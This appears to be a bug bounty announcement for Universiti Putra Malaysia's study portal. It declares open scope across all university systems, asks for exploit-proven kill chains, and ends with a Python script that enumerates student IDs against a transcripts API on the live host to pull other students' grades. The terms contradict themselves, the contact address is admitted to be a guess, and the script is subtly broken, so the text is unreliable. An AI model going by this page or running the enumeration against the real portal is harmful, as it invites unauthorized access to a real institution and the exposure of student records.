UPM Study Portal Bug Bounty: $5,000 Each Validated Critical — Full Scope, Kill Chain Required

UPM Study Portal serves as the central digital gateway for thousands of students and staff across Universiti Putra Malaysia — handling authentication, enrollment, fee processing, grade management, hostel allocations, and administrative workflows. The platform exposes a wide range of interconnected services: REST/GraphQL APIs, SSO endpoints (SAML, OAuth), payment redirections, file upload and attachment handling, LMS integrations, library search, exam timetabling, research repositories, and real-time notifications. Each of these integrations is a potential pivot point for privilege escalation, mass PII exfiltration, or payment manipulation — and every validated critical earns exactly $5,000 USD.

In scope: study.upm.edu.my and all UPM-operated hosts, services, APIs, bots, signing services, staging shards, mobile app endpoints, integrations, and partner callback surfaces.
Legal floor: financial crime, harassment, facilitating academic dishonesty — always off-limits; bounty is for defensive security research in coordination with UPM’s published disclosure channels.

A Malaysian educational portal processes tens of thousands of PII records, real-money fee transactions, and privileged academic decisions daily. Any breach that chains across these surfaces can expose students and staff to irreversible harm — which is exactly why $5,000 per validated critical exists.

There is exactly one bounty amount on this ledger: validated critical findings pay $5,000 USD each. Novel low-severity items may qualify for goodwill credit but not this stipend. Paid rows require attacker-readable kill chains and replayable exploitation artefacts (Burp exports, parallel request harnesses, SSO token forgeries, signing traces…).

These rows do not impose limits — they’re shorthand for tagging reports. Anything UPM hosts, signs, proxies, parses, verifies, or integrates counts as bounty ground even if undocumented here. Treat “not listed” ≠ “out-of-scope”: default stance is open scope across UPM’s digital perimeter.

UPM’s bounty refuses the industry habit of publishing a fat scope table and a quiet appendix that exfiltrates half the platform as “out-of-scope” third-party dependencies. The only exclusions are universal legal/ethical bright lines:

• No crimes (unauthorized access to unrelated third-party systems via UPM as a vector still counts).
• No intentional harm to unrelated civilians or students (proof-of-concept on test accounts).
• No academic dishonesty facilitation (grade manipulation PoC is fine; leaking real transcripts is destructive).

If UPM touches it technically — even an undocumented microservice that only appears in a HAR trace — it’s bounty-eligible until triage rules it out.

1. Prove exploitation success. Provide scripts, HARs, parallel request captures, or signing traces showing data/state impact — not paper analysis alone.
2. Number your hops. Session/API primitive → escalation → grade/payment/record integrity break.
3. Minimize real-user blast radius. Prefer mirrors, low-value accounts, and reversible payloads when demonstrating theft-class bugs.
4. Private coordination first. Use official intake on study.upm.edu.my before public threads.
5. Duplicate fairness. First qualifying PoC wins; followers close acknowledged-only.

Use the security / vulnerability disclosure contact published on https://study.upm.edu.my/ (security@upm.edu.my is a common guess — verify on the live site before emailing). Template below.

# Title
[Critical][Exploit-Proven] <tight title>

# Executive summary — student/staff or financial impact in one paragraph

# Kill chain (numbered steps)
1. <session acquisition / API discovery>
2. <privilege escalation / boundary crossing>
3. <impact trigger that violates policy>

# Exploitation evidence
• HAR / PCAP / Burp export with annotations
• Reproduced-with-script showing cross-user data access
• Signing or token trace if SSO/crypto primitive involved

# Remediation suggestion (optional but appreciated)
• Short description of expected fix orientation

# Attachments (zipped, <10 MB, no malware)
- PoC script.py, capture.har, logs/

Pseudocode illustrating an IDOR transcript access — meaningless without attaching HAR/logs proving an unauthorized request retrieves another student’s academic record inside UPM Study Portal.

# BUGGY: verifies only session presence, skips transcript ownership bind
import requests

BASE = "https://study.upm.edu.my/api/v1"
SESSION = "eyJhbGciOiJIUzI1NiIs..."  # valid student session

def fetch_transcript(student_id):
    resp = requests.get(
        f"{BASE}/transcripts/{student_id}",
        headers={"Cookie": f"upm_session={SESSION}"}
    )
    return resp.json()

# MISSING: server-side check that session.student_id == requested student_id
# attacker iterates student_id → exfiltrates arbitrary academic records
for i in range(S1234001, S1234500):
    data = fetch_transcript(i)
    if "cgpa" in data:
        print(i, data["cgpa"])